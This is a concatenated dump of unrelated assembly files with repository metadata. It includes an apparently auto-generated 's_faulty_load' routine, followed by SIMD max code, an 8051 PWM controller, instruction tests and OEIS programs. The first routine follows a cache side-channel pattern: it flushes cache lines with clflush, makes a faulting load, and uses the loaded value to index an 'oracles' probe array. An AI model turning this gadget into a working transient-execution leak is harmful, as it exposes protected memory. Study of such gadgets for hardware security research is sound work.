push %rcx
push %rdi
lea addresses_WC_ht+0xafc1, %rdi
nop
nop
nop
dec %r8
movb (%rdi), %cl
nop
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_D_ht+0x17af1, %rbp
nop
nop
nop
nop
and %rax, %rax
vmovups (%rbp), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbx
cmp $25637, %r8
lea addresses_WC_ht+0x19221, %rbp
nop
xor $50383, %r15
mov $0x6162636465666768, %rbx
movq %rbx, %xmm4
movups %xmm4, (%rbp)
nop
and %r8, %r8
lea addresses_A_ht+0x8821, %rdi
nop
and %rbp, %rbp
mov (%rdi), %rax
nop
nop
nop
nop
sub %rbp, %rbp
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rax
push %rbp
push %rcx
push %rsi
// Load
lea addresses_US+0x1f821, %r12
clflush (%r12)
nop
nop
dec %rsi
mov (%r12), %ebp
nop
and %rbp, %rbp
// Store
lea addresses_UC+0x1c221, %r13
nop
sub $32251, %rax
movw $0x5152, (%r13)
nop
sub %r12, %r12
// Store
lea addresses_normal+0xa921, %r12
clflush (%r12)
nop
cmp $9166, %rsi
movb $0x51, (%r12)
and %r9, %r9
// Faulty Load
lea addresses_RW+0x1d221, %r12
nop
nop
nop
nop
nop
and $22076, %r9
vmovaps (%r12), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %r13
lea oracles, %r12
and $0xff, %r13
shlq $12, %r13
mov (%r12,%r13,1), %r13
pop %rsi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 41.518519 | 2,999 | 0.654237 |
407a53187042b87716e4f07c431eaa3e482b36d6 | 2,811 | asm | Assembly | Windows/FastMaxI32.asm | clayne/FastExtrema | 9d38cdcd095f7ea07e94c9690b79bcd9ac1228b3 | [
"MIT"
] | 6 | 2021-04-02T16:09:13.000Z | 2022-01-24T11:15:48.000Z | Windows/FastMaxI32.asm | komrad36/FastArrayOps | 9d38cdcd095f7ea07e94c9690b79bcd9ac1228b3 | [
"MIT"
] | null | null | null | Windows/FastMaxI32.asm | komrad36/FastArrayOps | 9d38cdcd095f7ea07e94c9690b79bcd9ac1228b3 | [
"MIT"
] | 1 | 2021-02-17T21:51:17.000Z | 2021-02-17T21:51:17.000Z | ; /*******************************************************************
; *
; * Author: Kareem Omar
; * kareem.h.omar@gmail.com
; * https://github.com/komrad36
; *
; * Last updated Oct 11, 2020
; *******************************************************************/
_TEXT$FastMaxI32 SEGMENT ALIGN(64)
FastMaxI32 PROC
mov eax,edx
cmp edx,32
jae CASE_LARGE
vpcmpeqd ymm0,ymm0,ymm0
vpslld ymm0,ymm0,31
lea r8,JUMP_TABLE
movzx edx,byte ptr [r8+rax]
add r8,rdx
lea rdx,[rcx+4*rax]
and eax,-8
lea rcx,[rcx+4*rax]
mov eax,080000000h
jmp r8
JUMP_TABLE:
db 1 DUP ( CASE_0 - JUMP_TABLE)
db 1 DUP ( CASE_1 - JUMP_TABLE)
db 1 DUP ( CASE_2 - JUMP_TABLE)
db 1 DUP ( CASE_3 - JUMP_TABLE)
db 4 DUP ( CASE_4 - JUMP_TABLE)
db 8 DUP ( CASE_8 - JUMP_TABLE)
db 8 DUP (CASE_16 - JUMP_TABLE)
db 8 DUP (CASE_24 - JUMP_TABLE)
db 45 DUP (0CCh)
CASE_24:
vmovdqu ymm0,ymmword ptr [rcx-96]
CASE_16:
vpmaxsd ymm0,ymm0,ymmword ptr [rcx-64]
CASE_8:
vpmaxsd ymm0,ymm0,ymmword ptr [rcx-32]
vpmaxsd ymm0,ymm0,ymmword ptr [rdx-32]
vextracti128 xmm1,ymm0,1
vpmaxsd xmm0,xmm0,xmm1
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
db 4 DUP (0CCh)
CASE_4:
vmovdqu xmm0,xmmword ptr [rcx]
vpmaxsd xmm0,xmm0,xmmword ptr [rdx-16]
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
CASE_3:
mov eax,dword ptr [rdx-12]
CASE_2:
cmp eax,dword ptr [rdx-8]
cmovl eax,dword ptr [rdx-8]
CASE_1:
cmp eax,dword ptr [rdx-4]
cmovl eax,dword ptr [rdx-4]
CASE_0:
ret
db 50 DUP (0CCh)
CASE_LARGE:
vmovdqu ymm0,ymmword ptr [rcx]
vmovdqu ymm1,ymmword ptr [rcx+32]
vmovdqu ymm2,ymmword ptr [rcx+64]
vmovdqu ymm3,ymmword ptr [rcx+96]
lea rdx,[rcx+4*rax]
add rcx,256
cmp rcx,rdx
jae LOOP_END
LOOP_TOP:
vpmaxsd ymm0,ymm0,ymmword ptr [rcx-128]
vpmaxsd ymm1,ymm1,ymmword ptr [rcx-96]
vpmaxsd ymm2,ymm2,ymmword ptr [rcx-64]
vpmaxsd ymm3,ymm3,ymmword ptr [rcx-32]
sub rcx,-128
cmp rcx,rdx
jb LOOP_TOP
LOOP_END:
vpmaxsd ymm0,ymm0,ymmword ptr [rdx-128]
vpmaxsd ymm1,ymm1,ymmword ptr [rdx-96]
vpmaxsd ymm2,ymm2,ymmword ptr [rdx-64]
vpmaxsd ymm3,ymm3,ymmword ptr [rdx-32]
vpmaxsd ymm0,ymm0,ymm2
vpmaxsd ymm1,ymm1,ymm3
vpmaxsd ymm0,ymm0,ymm1
vextracti128 xmm1,ymm0,1
vpmaxsd xmm0,xmm0,xmm1
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
FastMaxI32 ENDP
_TEXT$FastMaxI32 ENDS
END
| 23.822034 | 70 | 0.609392 |
cde117686ede3b40755b6183d69cc1edd9d995ae | 9 | asm | Assembly | src/main/fragment/mos6502-common/vboyy=vbom1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vbuyy=vbum1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vbuyy=vbum1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | ldy {m1}
| 4.5 | 8 | 0.555556 |
bc1a6a80a331429a66607116d9504410d55d077c | 266 | asm | Assembly | ioctl/IodBlockRemovable.asm | osfree-project/FamilyAPI | 2119a95cb2bbe6716ecacff4171866f6ea51b8d7 | [
"BSD-3-Clause"
] | 1 | 2021-11-25T14:01:48.000Z | 2021-11-25T14:01:48.000Z | ioctl/IodBlockRemovable.asm | osfree-project/FamilyAPI | 2119a95cb2bbe6716ecacff4171866f6ea51b8d7 | [
"BSD-3-Clause"
] | null | null | null | ioctl/IodBlockRemovable.asm | osfree-project/FamilyAPI | 2119a95cb2bbe6716ecacff4171866f6ea51b8d7 | [
"BSD-3-Clause"
] | 2 | 2021-11-05T06:48:43.000Z | 2021-12-06T08:07:38.000Z | ;--------------------------------------------------------
; Category 8 Function 20H Block Removable - not supported for versions below DOS 3.2
;--------------------------------------------------------
;
;
;
IODBLOCKREMOVABLE PROC NEAR
RET
IODBLOCKREMOVABLE ENDP
| 24.181818 | 84 | 0.43609 |
d8a680d39428886e72158de76ceaabf8e520274b | 637 | asm | Assembly | data/pokemon/base_stats/fearow.asm | Karkino/KarkCrystal16 | 945dde0354016f9357e9d3798312cc6efa52ff7a | [
"blessing"
] | null | null | null | data/pokemon/base_stats/fearow.asm | Karkino/KarkCrystal16 | 945dde0354016f9357e9d3798312cc6efa52ff7a | [
"blessing"
] | null | null | null | data/pokemon/base_stats/fearow.asm | Karkino/KarkCrystal16 | 945dde0354016f9357e9d3798312cc6efa52ff7a | [
"blessing"
] | null | null | null | db 0 ; species ID placeholder
db 65, 90, 75, 115, 61, 61
; hp atk def spd sat sdf
db FLYING, FLYING ; type
db 90 ; catch rate
db 162 ; base exp
db NO_ITEM, SHARP_BEAK ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 15 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/fearow/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_FLYING, EGG_FLYING ; egg groups
; tm/hm learnset
tmhm CURSE, TOXIC, SUNNY_DAY, SNORE, HYPER_BEAM, PROTECT, RETURN, FEATHERDANCE, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SWIFT, PURSUIT, REST, ATTRACT, THIEF, STEEL_WING, FLY
; end
| 28.954545 | 168 | 0.703297 |
609adb735f4ad6fab2878ce8e8c0fc5437a6c563 | 4,931 | asm | Assembly | main.asm | captdam/PWM_C51 | ca58dca5eb14b04fdcdbe2f0e674b05f9b31b59e | [
"MIT"
] | null | null | null | main.asm | captdam/PWM_C51 | ca58dca5eb14b04fdcdbe2f0e674b05f9b31b59e | [
"MIT"
] | null | null | null | main.asm | captdam/PWM_C51 | ca58dca5eb14b04fdcdbe2f0e674b05f9b31b59e | [
"MIT"
] | null | null | null | ;PWM and bit signal Controler
;8-ch PWM output, 16-ch bit (on/off) output @ 50Hz
;At 12MHz, 12T:
;1 cycle = 1 micro second
;00000-00500: PWM all high, Set ON/OFF
;00500-02500: PWM to 0 according to input
;02500-20000: Receive input UART and process
;PWM Resulution: 1/250
;Refresh every 8us (8 cycles), 8us * 250times = 2000us = 2500us - 500us
;P0: 8-bit PWM output
;P1, P2: 16-bit ON/OFF output
;P3.0, P3.1: UART (Using Mode2, Baud 187500)
;P3.2 (INT0): Interupt, use this for system sync. Not used yet, depends on further performance
;P3.3 Reserved
;P3.7-P3.4: Chip ID
;Input data format:
;ID, PWM7, PWM6, PWM5, PWM5, PWM4, PWM3, PWM2, PWM1, PWM0, P2, P1, CHECK
;When ID: BIT = 1; otherwise 0
;When output PWM, the MCU read time map in XRAM
;There is two time map buuffer, XRAM 0x00-- and XRAM 0x01--
;=====================================================================
;Memory map - Byte
;Cjip ID
CHIPID EQU 0x30
;Port data (where to svae varified UART data)
PWM7 EQU 0x47
PWM6 EQU 0x46
PWM5 EQU 0x45
PWM4 EQU 0x44
PWM3 EQU 0x43
PWM2 EQU 0x42
PWM1 EQU 0x41
PWM0 EQU 0x40
B2 EQU 0x3F
B1 EQU 0x3E
;UART buffer (where to save unverified UART data)
PWM7_T EQU 0x57
PWM6_T EQU 0x56
PWM5_T EQU 0x55
PWM4_T EQU 0x54
PWM3_T EQU 0x53
PWM2_T EQU 0x52
PWM1_T EQU 0x51
PWM0_T EQU 0x50
B2_T EQU 0x4F
B1_T EQU 0x4E
CHECK EQU 0x4D
;Working data (used to draw time map)
PWM_W EQU 0x20
PWM_WC EQU 0x31
PWM0_W EQU 0x58
PWM1_W EQU 0x59
PWM2_W EQU 0x5A
PWM3_W EQU 0x5B
PWM4_W EQU 0x5C
PWM5_W EQU 0x5D
PWM6_W EQU 0x5E
PWM7_W EQU 0x5F
;Memory map - Bit
;Draw map working area
W0 EQU 0x00
W1 EQU 0x01
W2 EQU 0x02
W3 EQU 0x03
W4 EQU 0x04
W5 EQU 0x05
W6 EQU 0x06
W7 EQU 0x07
;The UART data should be recieve, otherwise it is for others (ignor)
UART_RECIEVE EQU 0x08
;Interrupt vector map
ORG 0x00
JMP INI
ORG 0x0023
JMP UART
;Boot setup
INI:
;Ini I/O ports
MOV P3, #0xFF ;Turn on P3, prepare to read
MOV P0, #0x00 ;Turn off P0, P1, P2
MOV P1, #0x00
MOV P2, #0x00
;Set chip ID
MOV A, P3
SWAP A
ANL A, #0x0F
MOV CHIPID, A
;Setup SFR
MOV SP, #0x7F
MOV DPTR, #0x0000
;Set custom memory
CLR UART_RECIEVE
;Setup UART and interrupt
SETB ES ;Enable UART interrupt
SETB SM0 ;UART Mode2
SETB REN ;Enable receive data
SETB EA ;Enable global interrupt
CLR RI ;Clear RI for receive
JMP $ ;Wait for timer interrupt
;Draw time map for the PWM (This requires 5306 cycles)
DRAW_MAP_INI:
;Ini
MOV R7, PWM7 ;First put value in working temp
MOV R6, PWM6
MOV R5, PWM5
MOV R4, PWM4
MOV R3, PWM3
MOV R2, PWM2
MOV R1, PWM1
MOV R0, PWM0
INC R7
INC R6
INC R5
INC R4
INC R3
INC R2
INC R1
INC R0
MOV PWM_W, #0xFF
MOV DPL, #0xFB ;250 + 1
;Draw map in loop
DRAW_MAP_LOOP7:
DJNZ R7, DRAW_MAP_LOOP6 ;If working temp is 0, write 0 to that bit
CLR W7
DRAW_MAP_LOOP6:
DJNZ R6, DRAW_MAP_LOOP5
CLR W6
DRAW_MAP_LOOP5:
DJNZ R5, DRAW_MAP_LOOP4
CLR W5
DRAW_MAP_LOOP4:
DJNZ R4, DRAW_MAP_LOOP3
CLR W4
DRAW_MAP_LOOP3:
DJNZ R3, DRAW_MAP_LOOP2
CLR W3
DRAW_MAP_LOOP2:
DJNZ R2, DRAW_MAP_LOOP1
CLR W2
DRAW_MAP_LOOP1:
DJNZ R1, DRAW_MAP_LOOP0
CLR W1
DRAW_MAP_LOOP0:
DJNZ R0, DRAW_MAP_LOOPX
CLR W0
DRAW_MAP_LOOPX:
MOV A, PWM_W ;Put the value in XRAM
MOVX @DPTR, A
DJNZ DPL, DRAW_MAP_LOOP7 ;Lopp this for 252 times until DPTR hits 0
XRL DPH, #0x01 ;Save the timemap buffer
;Output
OUTPUT:
CLR EA ;This is time critical, disablr the interrupt
MOV P0, #0xFF
;UART interrupt
UART:
JBC RI, UART_GET ;Receive interrupt
JBC TI, UART_END ;Send interrupt
RETI ;This should never happen, write this just in case
;UART received command
UART_GET:
JB RB8, UART_GET_ID ;RB8 = 1, this is ID frame
JB UART_RECIEVE, UART_GET_CHECKSUM ;UART_RECIEVE = 1, this is my data
RETI
;Process Data
UART_GET_DATA:
MOV A, #CHECK ;Get buffer RAM pointer, save in R0
ADD A, R7
MOV R0, A
MOV @R0, SBUF ;Read date from UART to RAM
MOV A, @R0 ;Calculate checksum
XRL CHECK, A
RETI ;Not my data, do nothing
;UART receive data process
UART_GET_CHECKSUM:
DJNZ R7, UART_GET_DATA ;UART counter -1, if not zero, go receiver data
CLR UART_RECIEVE ;Clear UART_RECIEVE flag
MOV A, SBUF
XRL A, CHECK ;If checksum matched, A will be 0
JNZ UART_END ;Do nothing, if A != 0 (not matched)
CLR REN ;Temp disable UART receiver interrupt
MOV B1, B1_T ;Transfer data from temp to perm
MOV B2, B2_T
MOV PWM7, PWM7_T
MOV PWM6, PWM6_T
MOV PWM5, PWM5_T
MOV PWM4, PWM4_T
MOV PWM3, PWM3_T
MOV PWM2, PWM2_T
MOV PWM1, PWM1_T
MOV PWM0, PWM0_T
MOV P0, B1
SETB REN
RETI
;Process ID word, check ID
UART_GET_ID:
MOV A, SBUF
XRL A, CHIPID ;If ID matched, A will be 0
JNZ UART_END ;Do nothing, if A != 0 (not matched)
SETB UART_RECIEVE ;Set UART_RECIEVE flag, setup UART counter and checksum
MOV R7, #(PWM7_T - CHECK + 0x01)
MOV CHECK, #0x00
RETI
UART_END:
RETI
;End
END
| 20.894068 | 94 | 0.697424 |
d87bc638e28d6ec615711261e84411417ff4db6c | 293 | asm | Assembly | mc-sema/validator/x86_64/tests/ADD_F64m.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | 2 | 2021-08-07T16:21:29.000Z | 2021-11-17T10:58:37.000Z | mc-sema/validator/x86_64/tests/ADD_F64m.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | mc-sema/validator/x86_64/tests/ADD_F64m.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; set up st0 to be 1.0
FLD1
;TEST_BEGIN_RECORDING
lea rdi, [rsp-08]
; 3.1415926 or there about
mov dword [rdi+00], 0x54442d18
mov dword [rdi+04], 0x400921fb
FADD qword [rdi]
mov rdi, 0
;TEST_END_RECORDING
| 17.235294 | 30 | 0.774744 |
dc782aebe5e93c098f0d3a5d391fc5d3fc1f9611 | 288 | asm | Assembly | mc-sema/validator/x86/tests/XADD32rm.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | 2 | 2021-08-07T16:21:29.000Z | 2021-11-17T10:58:37.000Z | mc-sema/validator/x86/tests/XADD32rm.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | mc-sema/validator/x86/tests/XADD32rm.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; XADD32rm
;TEST_BEGIN_RECORDING
lea edi, [esp-0x4]
mov DWORD [edi], 0xabcd4321
mov eax, 0x56781234
xadd [edi], eax
mov edx, [edi]
mov edi, 0x0
;TEST_END_RECORDING
| 18 | 31 | 0.6875 |
6042b7ddb5c9d70606f440cc9c3254179f29188c | 1,030 | asm | Assembly | src/boot/disk_load.asm | mikefeneley/chaosOS | 61078f680baf9a57dffef6a84fb770a944a2883a | [
"MIT"
] | null | null | null | src/boot/disk_load.asm | mikefeneley/chaosOS | 61078f680baf9a57dffef6a84fb770a944a2883a | [
"MIT"
] | null | null | null | src/boot/disk_load.asm | mikefeneley/chaosOS | 61078f680baf9a57dffef6a84fb770a944a2883a | [
"MIT"
] | null | null | null |
;mov bx,HELLO_WORLD
;call print_string
;mov bx, GOODBYE_WORLD
;call print_string
;jmp disk_load
; load DH sectors to ES:BX from drive DL
disk_load :
push dx ; Store DX on stack so later we can recall
; how many sectors were request to be read ,
; even if it is altered in the meantime
mov ah, 0x02 ; BIOS read sector function
mov al, dh ; Read DH sectors
mov dh, 0x00 ; Select head 0
mov ch, 0x00
mov cl, 0x02 ; Start reading from second sector ( i.e.
; call print_reg
; after the boot sector )
int 0x13 ; BIOS interrupt
; call print_reg
; jc disk_error ; Jump if error ( i.e. carry flag set )
pop dx ; Restore DX from the stack
cmp dh , al ; if AL ( sectors read ) != DH ( sectors expected )
; jne disk_error ; display error message
ret
disk_error :
mov bx, DISK_ERROR_MSG
call print_string
jmp $
; Variables
DISK_ERROR_MSG:
db "Disk read error", 0
HELLO_WORLD:
db "HelloWorldz", 0
GOODBYE_WORLD:
db "Goodbye Worldz", 0
| 19.433962 | 67 | 0.659223 |
edf27c993d457e4feb94dc7b92d8481b810d0fd3 | 98 | asm | Assembly | 8085_programming/8085 Programs/test2.asm | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | 8085_programming/8085 Programs/test2.asm | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | 8085_programming/8085 Programs/test2.asm | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | ;.ORG 0000H
LDA 3001H
LXI H,3002H
MOV B,M
ADD B
LXI H,3003H
MOV B,M
SUB B
STA 8000H
HLT
| 8.909091 | 12 | 0.642857 |
83ada3c5c05c9a88a2cf2c814aed56fc09c7da6b | 249 | asm | Assembly | wof/lcs/123p/9E.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | wof/lcs/123p/9E.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | wof/lcs/123p/9E.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
01A74C dbra D7, $1a74a
01A75E dbra D4, $1a75c
01AAB0 move.w ($8,A0), ($9e,A0) [123p+ 9C]
01AAB6 tst.b ($63,A0) [123p+ 9E]
copyright zengfr site:http://github.com/zengfr/romhack
| 27.666667 | 54 | 0.674699 |
a9d5d9627b13a00d9bab77e62900783701fcb7f2 | 731 | asm | Assembly | oeis/025/A025990.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/025/A025990.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/025/A025990.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A025990: Expansion of 1/((1-2x)(1-5x)(1-6x)(1-11x)).
; Submitted by Jon Maiga
; 1,24,381,5096,62517,731640,8337757,93583752,1041282693,11528533016,127276678893,1402901740968,15449475687829,170051606288952,1871222084030589,20587420276057544,226485741460066725,2491489138167004248,27407262770303269645,301485215765276834280,3316369484115409088181,36480257784182279043704,401284000353124726152861,4414131012115304847251976,48555483281995025091660997,534110569491010679745492120,5875217787219036765220277037,64627404808734554473659131432,710901507854119171188519893973
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
seq $0,16295 ; Expansion of 1/((1-2x)(1-5x)(1-6x)).
mul $1,11
add $1,$0
lpe
mov $0,$1
| 43 | 486 | 0.807114 |
d8e64cfc42e2c23df473bcbbb19091ae80e3d4f5 | 436 | asm | Assembly | oeis/089/A089045.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/089/A089045.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/089/A089045.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A089045: a(n) = a(n-1) + (-1)^floor(n/2)*a(floor(n/2)) with a(1) = 1.
; Submitted by Christian Krause
; 1,0,-1,-1,-1,0,1,0,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,0,1,0,-1,-1,-1,0,1,0,-1,0,1,1,1,0,-1,0,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,0,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,0,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,0,-1,0,1,1,1,0,-1,0,1,0,-1,-1
mov $2,-1
pow $2,$0
seq $0,29883 ; First differences of Thue-Morse sequence A001285.
mul $0,$2
| 48.444444 | 235 | 0.520642 |
